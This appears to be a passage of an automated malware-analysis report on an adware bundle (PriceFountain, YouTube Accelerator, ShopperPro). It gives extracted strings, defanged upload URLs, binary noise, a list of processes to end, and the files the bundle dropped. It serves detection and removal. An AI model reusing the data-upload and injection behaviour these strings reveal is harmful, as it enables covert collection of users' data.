dbghelp.dll

SHLWAPI.dll

GetCPInfo

GetProcessHeap

SuzanEXE.exe

??0HttpHelper@helpers@@QAE@ABV01@@Z

??0HttpHelper@helpers@@QAE@PB_W00@Z

??0HttpRequestContent@helpers@@QAE@ABV01@@Z

??0HttpRequestContent@helpers@@QAE@XZ

??0PrcssHelper@helpers@@QAE@ABV01@@Z

??0PrcssHelper@helpers@@QAE@XZ

??1HttpHelper@helpers@@QAE@XZ

??1PrcssHelper@helpers@@QAE@XZ

??4HttpHelper@helpers@@QAEAAV01@ABV01@@Z

??4HttpRequestContent@helpers@@QAEAAV01@ABV01@@Z

??4PrcssHelper@helpers@@QAEAAV01@ABV01@@Z

??_7HttpRequestContent@helpers@@6B@

?CheckIfProcessRunning@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@KKPAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAVErrorData@@@Z

?CreateS3Url@LogsCollectorHelper@helpers@@AAE_NXZ

?CreateS3Url@MinidumpsHelper@helpers@@AAE_NV?$vector@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$allocator@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@std@@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@4@1@Z

?FindPathFromExeName@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV34@PAVErrorData@@@Z

?FindProcessId@PrcssHelper@helpers@@SAKV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?GetAllRunningProcesses@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetCookies@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetDataOfRunningProcess@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAUprocessData@12@@Z

?GetDefaultURL@HttpHelper@helpers@@SAABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetProcessNameByID@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@K@Z

?GetResponseHeaders@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetStatusCode@HttpHelper@helpers@@QBE?BKXZ

?IsCurrentProcessAlreadyRunning@PrcssHelper@helpers@@SA_NPAVErrorData@@@Z

?IsValidUrl@HttpHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?IsWinXP@PrcssHelper@helpers@@SA_NXZ

?LoadProcess@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PAVErrorData@@PAVProcessData@12@@Z

?ReadFromRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV45@PAVErrorData@@@Z

?SendPostData@HttpHelper@helpers@@SAXABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@AAV34@@Z

?SendPostRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?SendRequest_s@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?TerminateAppEnum@PrcssHelper@helpers@@CGHPAUHWND__@@J@Z

?UploadFileToS3@HttpHelper@helpers@@QAE_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PA_W0PAV34@@Z

?UploadFileToServerUsingPost@HttpHelper@helpers@@SAHV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PA_W00PAV34@@Z

?WriteToRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@2PAVErrorData@@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?char2hex@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@D@Z

?domain@HttpHelper@helpers@@2V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@A

?urlencode@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV34@@Z

zcÁ

.?AVHttpRequestContent@helpers@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

combase.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

portuguese-brazilian

USER32.DLL

midnight_express_operational_domain

chrome.exe

CHROME INFORMATION -

chrome.dll

Ws2_32.dll

WS2_32.dll

afterOneHourLogs

lastChrome2

s3_url_gen

domain_operational

pricefountain.com

main.log

pricejs.net

common.js

prfo.dll

upload_logs_url_path

dump.php

chrome.dealply.com

check_if_dump_exists_url

hXXps://dumpster-server.herokuapp.com/manager/query

HKEY_CURRENT_USER

registry_key

AHKEY_LOCAL_MACHINE

CreateCrashExe

suzan_url_inj

QUICK EVENT URL

Suzan EXE started , version:

suzan_exestrt

__pmLog_.txt

type=offb&topic=urldat&data=1&

quick_url_path

error in RegOpenKeyEx returned:

error in RegOpenKeyEx type is not REG_SZ

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

uninst.exe

%s_%s_Logs_%s.zip

CWinHTTP/1.0

hXXps://

hXXp://

Content-Type: multipart/form-data; boundary=----BoundaryX

Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

Content-Length: %d

%s\%s_%s_%p_%s_Error_ddd_ddd.dmp

dmp.zip

libcef.dll

pricemeter.exe

pricemeterw.exe

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe

1.0.8.6

pricefountain.exe

IEXPLORE.EXE_3208:

.text

`.data

.idata

.rsrc

@.reloc

u\j.Xf9

j.Xf9

USER32.dll

api-ms-win-downlevel-shell32-l1-1-0.dll

IEFRAME.dll

SHELL32.dll

iexplore.pdb

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->

<assemblyIdentity version="5.1.0.0"

name="Microsoft.InternetExplorer"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<!--The ID below indicates application support for Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

KEYW

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

imm32.dll

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}

Kernel32.dll

"%s" %s

kernel32.dll

IEXPLORE.EXE

{00000000-0000-0000-0000-000000000000}

\\?\Volume

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Browseui_Tabs_Tearoff_BetweenWindows_TabProc

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute

IMTravelLogMVC_TravelURL

10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)

Windows

10.00.9200.16521

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:3640
YTAHelper.exe:1756
pricefountainw.exe:2284
YouTubeAcceleratorService.exe:2288
YouTubeAcceleratorService.exe:3952
YouTubeAcceleratorService.exe:1564
ins_postInst.exe:3980
jsdrv.exe:3580
6C4.tmp:1188
biclient.exe:3636
biclient.exe:3416
biclient.exe:2364
sfx.exe:1140
ins_yta.exe:2148
GLJ1CB4.tmp:3596
GLB1C75.tmp:2676
testlsp.exe:3652
powershell.exe:812
powershell.exe:3708
powershell.exe:1540
setup.exe:2524
setup.exe:2008
7z920.exe:2544
WerFault.exe:4092
ShopperPro.exe:2612
ins_shopperpro.exe:3676
regsvr32.exe:1688
regsvr32.exe:3780
regsvr32.exe:1848
regsvr32.exe:3832
lspinst.exe:3000
lspinst.exe:3808
YTAHEL~1.EXE:2568
DCytaiesmt_smtyc_setup.exe:3420
pricefountain.exe:3356
spbiu.exe:812
spbiu.exe:1800
wscript.exe:3612
taskeng.exe:3600
smt_mystartsearch.exe:888
ytaiesmt_smtyc_setup.exe:3348
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz233A.tmp (5603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\wd.log (278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe (614 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Windows\Temp\SBC684A.tmp (547 bytes)
C:\Windows\Temp\SBC4B71.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2504_YouTubeAcceleratorService.log (235183 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC55CF.tmp (98 bytes)
C:\Windows\Temp\SBC5A82.tmp (51193 bytes)
C:\Windows\Temp\SBCABBE.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2504.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC5708.tmp (44 bytes)
C:\Windows\Temp\SBC537D.tmp (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26902\ins_shopperpro.exe (20433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23691\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23691\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9D1.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA42.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3652.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1732.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3652_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA79.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9CF.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9BB.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2504_YouTubeAcceleratorService.log_tmp (47 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA65.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA67.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA99A.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA979.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (208806 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3652_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA53.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9BD.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9D3.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA7B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA8C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2504.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1ZTIOACH.txt (66 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1UL7C8BK.txt (206 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\NSISEncrypt.dll (3424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\pricefountain[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7KKJY4ZO.txt (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (27046 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\554f0c32df4546428c4cd4ba3636f283[1].htm (40887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (64683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GGV4XHDN.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-pricefountain[1].htm (7019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (3403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-sourceapp[1].htm (4656 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XADFY9N0.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1252 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HSACLEPO.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9OY1FYP2.txt (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1852 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (91380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6C4.tmp (37784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ajax-bidl[1].htm (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\fc5adcef92544d4d9ad600d2a201e613[1].htm (28545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c6f37ce09f7b3c4993073c407a485e5f[1].htm (31423 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll (5273 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainFirefox.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (4492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (1671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB1C75.tmp (144 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ1CB4.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
